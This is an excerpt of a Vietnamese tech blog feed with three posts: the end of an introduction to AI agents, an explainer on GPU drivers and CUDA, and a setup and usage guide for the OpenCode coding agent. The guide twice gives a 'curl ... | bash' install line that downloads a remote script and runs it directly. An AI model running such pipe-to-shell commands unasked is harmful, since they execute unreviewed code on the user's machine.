&lt;h3&gt;3. Memory &amp;#x26; Context&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Short-term memory — Context window của LLM, chứa toàn bộ lịch sử hội thoại và kết quả tool call&lt;/li&gt;
&lt;li&gt;Long-term memory — RAG, vector database, file system để lưu thông tin lâu dài&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Các Loại AI Agent Phổ Biến&lt;/h2&gt;
&lt;h3&gt;ReAct Agent (Reasoning + Acting)&lt;/h3&gt;
&lt;p&gt;Đây là pattern phổ biến nhất. Agent luân phiên giữa suy luận (reason) và hành động (act):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Thought: Tôi cần tìm hiểu thời tiết hôm nay
Action: gọi API thời tiết tại Hà Nội
Observation: 35°C, nắng
Thought: Trời nắng, tôi sẽ gợi ý người dùng mang ô
Action: trả lời người dùng
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Framework tiêu biểu: LangChain Agent, OpenAI Function Calling.&lt;/p&gt;
&lt;h3&gt;Plan-and-Execute Agent&lt;/h3&gt;
&lt;p&gt;Agent lập kế hoạch trước, sau đó thực thi từng bước:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Plan:
1. Đọc file requirements.txt
2. Tìm phiên bản mới nhất của từng package
3. Tạo file requirements-updated.txt
4. Chạy test để kiểm tra tương thích
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó agent thực thi từng bước, có thể điều chỉnh kế hoạch nếu gặp lỗi.&lt;/p&gt;
&lt;h3&gt;Multi-Agent System&lt;/h3&gt;
&lt;p&gt;Nhiều agent chuyên biệt hợp tác với nhau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Orchestrator Agent — Nhận yêu cầu, chia nhỏ task, giao cho các agent khác&lt;/li&gt;
&lt;li&gt;Coder Agent — Viết code&lt;/li&gt;
&lt;li&gt;Reviewer Agent — Review code, tìm bug&lt;/li&gt;
&lt;li&gt;Tester Agent — Viết và chạy test&lt;/li&gt;
&lt;li&gt;Docs Agent — Viết tài liệu&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Ứng Dụng Thực Tế&lt;/h2&gt;
&lt;h3&gt;Lập Trình (Coding Agent)&lt;/h3&gt;
&lt;p&gt;Đây là ứng dụng phát triển nhanh nhất hiện nay:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OpenCode — Agent CLI mã nguồn mở, đọc codebase, chạy lệnh, chỉnh sửa file&lt;/li&gt;
&lt;li&gt;Cursor Agent Mode — Agent tích hợp trong IDE, tự động duyệt code và thực thi&lt;/li&gt;
&lt;li&gt;GitHub Copilot Agent — Tạo PR hoàn chỉnh từ issue description&lt;/li&gt;
&lt;li&gt;Devin — &quot;AI software engineer&quot; đầu tiên, có thể nhận task cả tuần&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Customer Support&lt;/h3&gt;
&lt;p&gt;Agent có thể:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tra cứu thông tin khách hàng&lt;/li&gt;
&lt;li&gt;Xử lý hoàn tiền, đổi trả&lt;/li&gt;
&lt;li&gt;Tạo ticket, gán đúng phòng ban&lt;/li&gt;
&lt;li&gt;Leo thang khi cần người thật&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Nghiên Cứu&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Tự động tìm kiếm tài liệu&lt;/li&gt;
&lt;li&gt;Phân tích và tổng hợp thông tin&lt;/li&gt;
&lt;li&gt;Tạo báo cáo có trích dẫn nguồn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Thử Nghiệm: Xây Agent Đơn Giản Với OpenCode&lt;/h2&gt;
&lt;p&gt;OpenCode là một coding agent chạy trong terminal. Bạn có thể thử ngay:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Cài đặt
npm install -g @opencode/cli

# Bắt đầu phiên làm việc
opencode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Khi đã vào giao diện chat, thử yêu cầu:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Add input validation to the login form, write unit tests for it, and make sure all existing tests still pass.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Agent sẽ:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Đọc codebase để hiểu cấu trúc hiện tại&lt;/li&gt;
&lt;li&gt;Thêm validation cho form đăng nhập&lt;/li&gt;
&lt;li&gt;Viết unit test cho validation mới&lt;/li&gt;
&lt;li&gt;Chạy test suite để đảm bảo không hỏng gì&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Thách Thức Khi Làm Việc Với AI Agent&lt;/h2&gt;
&lt;h3&gt;1. Hallucination&lt;/h3&gt;
&lt;p&gt;Agent có thể tin tưởng vào kết quả sai. Giải pháp: thêm verification step, dùng external source làm ground truth.&lt;/p&gt;
&lt;h3&gt;2. Tool Call Lỗi&lt;/h3&gt;
&lt;p&gt;Agent có thể gọi sai API, dùng sai tham số. Giải pháp: thiết kế tool interface rõ ràng, thêm error handling, retry mechanism.&lt;/p&gt;
&lt;h3&gt;3. Chi Phí&lt;/h3&gt;
&lt;p&gt;Agent gọi LLM nhiều lần, có thể tốn kém. Giải pháp: dùng model nhỏ cho task đơn giản, cache kết quả giống nhau.&lt;/p&gt;
&lt;h3&gt;4. Bảo Mật&lt;/h3&gt;
&lt;p&gt;Agent có quyền truy cập hệ thống. Giải pháp: permission system, sandbox, human-in-the-loop cho hành động nguy hiểm.&lt;/p&gt;
&lt;h2&gt;Framework Phát Triển AI Agent&lt;/h2&gt;
&lt;p&gt;| Framework | Ngôn ngữ | Đặc điểm |
|---|---|---|
| LangChain | Python | Hệ sinh thái lớn, nhiều tích hợp |
| CrewAI | Python | Multi-agent, dễ dùng |
| AutoGen | Python | Agent hợp tác, từ Microsoft |
| OpenAI Agents SDK | Python | Chính thức từ OpenAI |
| Vercel AI SDK | TypeScript | Agent cho web app |&lt;/p&gt;
&lt;h2&gt;Tương Lai&lt;/h2&gt;
&lt;p&gt;AI Agent đang tiến hoá theo hướng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Long-running agent — Làm việc hàng giờ, thậm chí hàng ngày&lt;/li&gt;
&lt;li&gt;Agent-to-agent communication — Agent tự động thuê agent khác&lt;/li&gt;
&lt;li&gt;Agent marketplace — Mua bán agent chuyên biệt cho từng lĩnh vực&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AI Agent không thay thế con người — nó thay thế sự nhàm chán. Bạn vẫn là người ra quyết định, nhưng không còn phải tự mò mẫm từng bước thực thi.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://python.langchain.com/docs/concepts/agents/&quot;&gt;LangChain Agent Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://platform.openai.com/docs/guides/agents&quot;&gt;OpenAI Agents SDK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/build-with-claude/agentic&quot;&gt;Anthropic — Building Effective Agents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.crewai.com/&quot;&gt;CrewAI Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://microsoft.github.io/autogen/&quot;&gt;AutoGen — Microsoft Research&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sdk.vercel.ai/docs&quot;&gt;Vercel AI SDK Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Trình Điều Khiển Cho AI — CUDA Và Hạ Tầng Phần Mềm</title><link>https://dopana-blog.pages.dev/blog/ai-driver</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/ai-driver</guid><description>GPU driver, CUDA, cuDNN, TensorRT — tìm hiểu hạ tầng driver giúp AI chạy được trên phần cứng hiện đại.</description><pubDate>Mon, 15 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Khi nhắc đến AI và Machine Learning, đa số lập trình viên nghĩ ngay đến model architecture, training pipeline hay dataset. Nhưng ít ai để ý rằng phía dưới tất cả những lớp trừu tượng đó là một tầng phần mềm quan trọng không kém: trình điều khiển (driver).&lt;/p&gt;
&lt;p&gt;Không có driver, GPU — thứ não bộ của AI hiện đại — chỉ là một khối silicon chết. Bài viết này sẽ đi sâu vào hệ sinh thái driver cho AI, từ NVIDIA CUDA đến các giải pháp mã nguồn mở.&lt;/p&gt;
&lt;h2&gt;GPU Driver — Lớp Nền Tảng&lt;/h2&gt;
&lt;p&gt;Trước khi chạy bất kỳ framework AI nào, bạn cần GPU driver. Đây là lớp phần mềm thấp nhất giao tiếp giữa hệ điều hành và GPU:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NVIDIA Driver — Driver độc quyền của NVIDIA, hỗ trợ toàn bộ dòng GeForce, Quadro, Tesla và Data Center GPU&lt;/li&gt;
&lt;li&gt;AMD ROCm — Nỗ lực mã nguồn mở của AMD để cạnh tranh với CUDA&lt;/li&gt;
&lt;li&gt;Intel oneAPI — Nền tảng unified cho CPU, GPU và accelerator của Intel&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Driver chịu trách nhiệm quản lý bộ nhớ GPU, lập lịch thực thi, và cung cấp API cấp thấp (ioctl, syscall) cho userspace.&lt;/p&gt;
&lt;h2&gt;CUDA — Ngôn Ngữ Chung Của AI&lt;/h2&gt;
&lt;p&gt;CUDA (Compute Unified Device Architecture) là nền tảng tính toán song song của NVIDIA, ra mắt năm 2007. Hầu hết mọi framework AI hiện đại đều chạy trên CUDA:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PyTorch → cuDNN → CUDA → NVIDIA Driver → GPU
TensorFlow → XLA → cuDNN → CUDA → NVIDIA Driver → GPU
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Các Thành Phần Trong Hệ Sinh Thái CUDA&lt;/h3&gt;
&lt;p&gt;CUDA Toolkit — Bộ công cụ phát triển gồm:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nvcc&lt;/code&gt; — trình biên dịch CUDA C/C++&lt;/li&gt;
&lt;li&gt;CUDA runtime API và driver API&lt;/li&gt;
&lt;li&gt;Thư viện math: cuBLAS (ma trận), cuFFT (Fourier), cuSparse (ma trận thưa), cuRAND (ngẫu nhiên)&lt;/li&gt;
&lt;li&gt;CUDA Profiling Tools cho performance tuning&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;cuDNN — Thư viện tối ưu cho deep learning:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tích hợp sâu vào PyTorch, TensorFlow, JAX, PaddlePaddle&lt;/li&gt;
&lt;li&gt;Hỗ trợ convolution, pooling, normalization, activation functions&lt;/li&gt;
&lt;li&gt;Tối ưu cho từng kiến trúc GPU cụ thể (Turing, Ampere, Hopper, Blackwell)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TensorRT — Inference optimizer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Lượng tử hoá (FP16, INT8, INT4)&lt;/li&gt;
&lt;li&gt;Kernel tự động tối ưu cho GPU đích&lt;/li&gt;
&lt;li&gt;Giảm latency đến 5-10 lần so với framework thuần&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tại Sao Driver Lại Quan Trọng Với AI?&lt;/h2&gt;
&lt;h3&gt;1. Hiệu Năng&lt;/h3&gt;
&lt;p&gt;Một driver không tối ưu có thể làm giảm 30-50% hiệu suất training. NVIDIA liên tục ra các bản driver tối ưu riêng cho từng kiến trúc model:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kiểm tra driver và CUDA version trên Linux
nvidia-smi
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 560.94       Driver Version: 560.94       CUDA Version: 12.8     |
+-----------------------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Tương Thích&lt;/h3&gt;
&lt;p&gt;Không phải phiên bản CUDA nào cũng tương thích với mọi driver. Bảng tương thích thường như sau:&lt;/p&gt;
&lt;p&gt;| CUDA Version | Driver Version Tối Thiểu |
|---|---|
| CUDA 12.8 | 560.x |
| CUDA 12.4 | 550.x |
| CUDA 12.0 | 525.x |
| CUDA 11.8 | 520.x |&lt;/p&gt;
&lt;p&gt;Mỗi lần upgrade CUDA toolkit, bạn thường phải upgrade driver kèm theo — nếu không, framework sẽ báo lỗi khó hiểu.&lt;/p&gt;
&lt;h3&gt;3. Quản Lý Bộ Nhớ&lt;/h3&gt;
&lt;p&gt;AI model ngày càng lớn (Llama 3 405B, GPT-4 class), driver phải quản lý việc chia nhỏ model ra nhiều GPU, swap CPU-GPU memory, và tối ưu bandwidth:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unified Memory — Cho phép CPU và GPU chia sẻ không gian địa chỉ chung&lt;/li&gt;
&lt;li&gt;CUDA Graphs — Giảm overhead driver bằng cách batch nhiều kernel launch&lt;/li&gt;
&lt;li&gt;NCCL (NVIDIA Collective Communications Library) — Tối ưu giao tiếp đa GPU, đa node&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;ROCm — Đối Thủ Mã Nguồn Mở&lt;/h2&gt;
&lt;p&gt;Trước đây AMD gần như vắng bóng trong làng AI. Nhưng với ROCm (Radeon Open Compute), AMD đã có những bước tiến đáng kể:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HIP (Heterogeneous Interface for Portability) — Cho phép chạy code CUDA trên AMD GPU&lt;/li&gt;
&lt;li&gt;Composable Kernel (CK) — Thư viện kernel tối ưu cho AMD GPU&lt;/li&gt;
&lt;li&gt;Hỗ trợ PyTorch, TensorFlow, JAX thông qua phiên bản riêng (rocm/pytorch)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Điểm yếu hiện tại: tài liệu còn hạn chế, hỗ trợ GPU còn ít (chủ yếu dòng Instinct và Radeon Pro), và hiệu năng vẫn thua CUDA trên cùng phân khúc.&lt;/p&gt;
&lt;h2&gt;Thực Hành: Kiểm Tra Và Tối Ưu Driver AI&lt;/h2&gt;
&lt;h3&gt;Kiểm tra hệ thống&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kiểm tra driver GPU (Linux)
nvidia-smi

# Kiểm tra CUDA version
nvcc --version

# Kiểm tra cuDNN version
cat /usr/include/cudnn_version.h | grep CUDNN_MAJOR -A 2

# Kiểm tra TensorRT version
dpkg -l | grep TensorRT
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Chọn đúng phiên bản&lt;/h3&gt;
&lt;p&gt;Quy tắc chung khi thiết lập môi trường AI:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Xác định GPU bạn có (compute capability)&lt;/li&gt;
&lt;li&gt;Chọn CUDA version phù hợp với framework (PyTorch thường yêu cầu CUDA cụ thể)&lt;/li&gt;
&lt;li&gt;Chọn driver version tương thích với CUDA đó&lt;/li&gt;
&lt;li&gt;Cài cuDNN và TensorRT cùng version với CUDA&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Tương Lai Của Driver Cho AI&lt;/h2&gt;
&lt;p&gt;NVIDIA Blackwell — Thế hệ GPU mới nhất có hardware engine riêng cho transformer inference, giảm tải cho driver.&lt;/p&gt;
&lt;p&gt;Open Source Driver — NVIDIA đã mở mã nguồn kernel module driver từ 2022. Dần dần, cộng đồng Linux có thể hưởng lợi từ nouveau + NVIDIA firmware blend.&lt;/p&gt;
&lt;p&gt;Unified Acceleration — Các nỗ lực như OpenXLA, MLIR, Triton đang tạo ra một tầng trung gian giữa model và phần cứng, giúp giảm phụ thuộc vào một vendor driver duy nhất.&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Trình điều khiển không phải chủ đề hào nhoáng nhất trong AI, nhưng nó là hạ tầng không thể thiếu. Mỗi lần bạn chạy &lt;code&gt;model.train()&lt;/code&gt; trong PyTorch, phía sau là hàng triệu dòng code driver, thư viện CUDA, kernel tối ưu đang làm việc để biến ý tưởng của bạn thành kết quả.&lt;/p&gt;
&lt;p&gt;Hiểu về driver giúp bạn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Debug nhanh hơn khi gặp lỗi CUDA&lt;/li&gt;
&lt;li&gt;Chọn đúng cấu hình phần cứng cho dự án&lt;/li&gt;
&lt;li&gt;Tối ưu hiệu suất training và inference&lt;/li&gt;
&lt;li&gt;Không còn sợ màn hình lỗi đỏ &lt;code&gt;CUDA error: out of memory&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.nvidia.com/cuda/&quot;&gt;NVIDIA CUDA Toolkit Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.nvidia.com/deeplearning/cudnn/&quot;&gt;NVIDIA cuDNN Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.nvidia.com/deeplearning/tensorrt/&quot;&gt;NVIDIA TensorRT Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rocm.docs.amd.com/&quot;&gt;AMD ROCm Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.nvidia.com/deeplearning/nccl/&quot;&gt;NVIDIA NCCL Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pytorch.org/docs/stable/notes/cuda.html&quot;&gt;PyTorch CUDA Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Hướng Dẫn Sử Dụng OpenCode — AI Coding Agent Trong Terminal</title><link>https://dopana-blog.pages.dev/blog/opencode-guide</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/opencode-guide</guid><description>Cài đặt, cấu hình và sử dụng OpenCode — công cụ AI coding agent mã nguồn mở giúp bạn viết code nhanh hơn ngay trong terminal.</description><pubDate>Mon, 15 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;OpenCode là AI coding agent mã nguồn mở chạy trong terminal, IDE hoặc desktop app. Nó có thể đọc codebase, chạy lệnh, sửa file, và tương tác với bạn qua chat — tất cả ngay trong cửa sổ terminal quen thuộc.&lt;/p&gt;
&lt;p&gt;Bài viết này hướng dẫn từ cài đặt đến sử dụng thành thạo.&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;h3&gt;macOS / Linux&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -fsSL https://opencode.ai/install | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;npm (mọi nền tảng)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install -g opencode-ai
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Windows&lt;/h3&gt;
&lt;p&gt;Khuyến nghị dùng WSL. Ngoài ra có thể cài qua:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;choco install opencode # Chocolatey
scoop install opencode # Scoop
npm install -g opencode-ai
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Homebrew (macOS/Linux)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;brew install anomalyco/tap/opencode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau khi cài, chạy &lt;code&gt;opencode --version&lt;/code&gt; để kiểm tra.&lt;/p&gt;
&lt;h2&gt;Kết Nối LLM Provider&lt;/h2&gt;
&lt;p&gt;Lần đầu chạy, OpenCode cần một provider để xử lý ngôn ngữ. Có ba cách:&lt;/p&gt;
&lt;h3&gt;Cách 1: OpenCode Zen (dễ nhất)&lt;/h3&gt;
&lt;p&gt;Trong TUI, gõ &lt;code&gt;/connect&lt;/code&gt;, chọn opencode, truy cập &lt;a href=&quot;https://opencode.ai/auth&quot;&gt;opencode.ai/auth&lt;/a&gt;, đăng ký và copy API key về dán vào terminal.&lt;/p&gt;
&lt;h3&gt;Cách 2: Dùng API key có sẵn&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/connect&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Chọn provider như OpenAI, Anthropic, Google Gemini, hoặc GitHub Copilot — rồi nhập API key.&lt;/p&gt;
&lt;h3&gt;Cách 3: Config file&lt;/h3&gt;
&lt;p&gt;Tạo hoặc sửa file &lt;code&gt;~/.config/opencode/config.jsonc&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-jsonc&quot;&gt;{
  &quot;provider&quot;: &quot;anthropic&quot;,
  &quot;apiKey&quot;: &quot;sk-ant-...&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khởi Tạo Dự Án&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd /path/to/du-an
opencode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau khi vào giao diện chat, gõ: &lt;code&gt;/init&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;OpenCode sẽ phân tích dự án và tạo file &lt;code&gt;AGENTS.md&lt;/code&gt; — file này chứa hướng dẫn về cấu trúc, coding style, conventions của dự án. Nên commit file này vào git.&lt;/p&gt;
&lt;h2&gt;Giao Diện TUI (Terminal UI)&lt;/h2&gt;
&lt;p&gt;Khi chạy &lt;code&gt;opencode&lt;/code&gt;, bạn sẽ thấy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vùng chat — tương tác với AI&lt;/li&gt;
&lt;li&gt;Thanh input — gõ prompt ở dưới cùng&lt;/li&gt;
&lt;li&gt;Indicator góc phải dưới — hiển thị Plan mode hay Build mode&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Plan mode vs Build mode&lt;/h3&gt;
&lt;p&gt;| Mode | Tab | AI làm gì |
|---|---|---|
| Plan | Tab lần 1 | Chỉ đề xuất, không chạm vào code |
| Build | Tab lần 2 | Đọc, sửa, tạo file thực tế |&lt;/p&gt;
&lt;p&gt;Luôn dùng Plan mode trước khi cho AI sửa code phức tạp — kiểm tra kế hoạch rồi mới chuyển sang Build.&lt;/p&gt;
&lt;h2&gt;Các Lệnh Cơ Bản&lt;/h2&gt;
&lt;p&gt;| Lệnh | Mô tả |
|---|---|
| &lt;code&gt;/init&lt;/code&gt; | Phân tích dự án, tạo AGENTS.md |
| &lt;code&gt;/connect&lt;/code&gt; | Kết nối LLM provider |
| &lt;code&gt;/undo&lt;/code&gt; | Hoàn tác thay đổi cuối |
| &lt;code&gt;/redo&lt;/code&gt; | Làm lại thay đổi đã undo |
| &lt;code&gt;/share&lt;/code&gt; | Tạo link chia sẻ session |
| &lt;code&gt;/clear&lt;/code&gt; | Xoá lịch sử chat |
| &lt;code&gt;Ctrl+C&lt;/code&gt; | Thoát |&lt;/p&gt;
&lt;h2&gt;Cách Đặt Câu Hỏi Hiệu Quả&lt;/h2&gt;
&lt;h3&gt;1. Dùng @ để tham chiếu file&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;@src/utils/auth.ts&lt;/code&gt; có vấn đề gì không?&lt;/p&gt;
&lt;p&gt;Gõ &lt;code&gt;@&lt;/code&gt; rồi tìm tên file — OpenCode sẽ đọc file đó và thêm vào context.&lt;/p&gt;
&lt;h3&gt;2. Hỏi về codebase&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Giải thích flow đăng nhập trong dự án này.&lt;/li&gt;
&lt;li&gt;Hệ thống routing hoạt động thế nào?&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Yêu cầu thay đổi&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Thêm validate email vào form đăng ký ở @src/components/Signup.tsx.&lt;/li&gt;
&lt;li&gt;Dùng zod schema, trả về lỗi dễ đọc.&lt;/li&gt;
&lt;li&gt;Chạy test sau khi xong.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. Plan trước khi build&lt;/h3&gt;
&lt;p&gt;Bấm Tab để chuyển sang Plan mode:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Thêm tính năng quên mật khẩu:&lt;/li&gt;
&lt;li&gt;Gửi email reset link&lt;/li&gt;
&lt;li&gt;Token hết hạn sau 1 giờ&lt;/li&gt;
&lt;li&gt;UI reset password&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Xem kế hoạch, góp ý, rồi bấm Tab lần nữa để AI bắt đầu làm.&lt;/p&gt;
&lt;h2&gt;Undo/Redo — An Toàn Khi Dùng AI&lt;/h2&gt;
&lt;p&gt;OpenCode ghi lại từng thay đổi. Sai thì &lt;code&gt;/undo&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/undo&lt;/code&gt; # hoàn tác thay đổi cuối&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/undo&lt;/code&gt; # gọi tiếp để undo thêm&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/redo&lt;/code&gt; # làm lại nếu undo nhầm&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Chia Sẻ Session&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;/share&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Tạo link có thể gửi cho đồng nghiệp — họ sẽ thấy toàn bộ hội thoại và thay đổi. Link mẫu: &lt;code&gt;https://opencode.ai/s/4XP1fce5&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Tuỳ Biến OpenCode&lt;/h2&gt;
&lt;h3&gt;Theme&lt;/h3&gt;
&lt;p&gt;Chọn theme trong file config hoặc qua lệnh: &lt;code&gt;/theme&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Xem thêm: &lt;a href=&quot;/docs/themes/&quot;&gt;Themes&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Config&lt;/h3&gt;
&lt;p&gt;File &lt;code&gt;~/.config/opencode/config.jsonc&lt;/code&gt; cho phép tuỳ chỉnh sâu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Keybind&lt;/li&gt;
&lt;li&gt;Model mặc định&lt;/li&gt;
&lt;li&gt;Formatter&lt;/li&gt;
&lt;li&gt;Permission rules&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Rules (file AGENTS.md)&lt;/h3&gt;
&lt;p&gt;File &lt;code&gt;AGENTS.md&lt;/code&gt; trong project hướng dẫn AI về:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Coding conventions&lt;/li&gt;
&lt;li&gt;Stack và framework&lt;/li&gt;
&lt;li&gt;Kiến trúc dự án&lt;/li&gt;
&lt;li&gt;Những điều cần tránh&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Thực Hành: Một Phiên Làm Việc Mẫu&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. Mở terminal, vào project
cd ~/projects/my-app

# 2. Mở OpenCode
opencode

# 3. Init (lần đầu)
/init

# 4. Hỏi về codebase
@src/routes/index.ts có chức năng gì?

# 5. Plan tính năng mới (Tab -&gt; Plan)
Thêm phân trang cho danh sách user. Mỗi trang 20 items.
Dùng offset-based pagination.

# 6. Duyệt kế hoạch, chuyển Build (Tab)
OK, làm đi.

# 7. Kiểm tra kết quả
/undo # nếu chưa ưng, sửa prompt rồi làm lại

# 8. Chia sẻ nếu cần
/share
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lưu Ý Khi Dùng OpenCode&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Commit trước khi dùng AI — phòng trường hợp cần revert&lt;/li&gt;
&lt;li&gt;Review code AI tạo — AI có thể tạo code chạy được nhưng chưa tối ưu&lt;/li&gt;
&lt;li&gt;Càng cụ thể càng tốt — &quot;Sửa lỗi&quot; khác xa &quot;Thêm null check ở dòng 42&quot;&lt;/li&gt;
&lt;li&gt;Dùng Plan mode cho task lớn — tránh mất công sửa đi sửa lại&lt;/li&gt;
&lt;li&gt;Kéo thả ảnh vào terminal để AI phân tích UI mockup&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;OpenCode là công cụ mạnh mẽ nếu bạn biết cách dùng:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Cài đặt — 1 câu lệnh, 30 giây&lt;/li&gt;
&lt;li&gt;Kết nối — provider tuỳ chọn&lt;/li&gt;
&lt;li&gt;Init — để AI hiểu dự án&lt;/li&gt;
&lt;li&gt;Prompt rõ ràng — tận dụng &lt;code&gt;@file&lt;/code&gt;, Plan/Build mode&lt;/li&gt;
&lt;li&gt;Undo khi cần — an toàn, không sợ hỏng&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Càng dùng nhiều, bạn càng hiểu cách nói chuyện với AI để đạt kết quả mong muốn. Bắt đầu ngay hôm nay:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -fsSL https://opencode.ai/install | bash
&lt;/code&gt;&lt;/pre&gt;
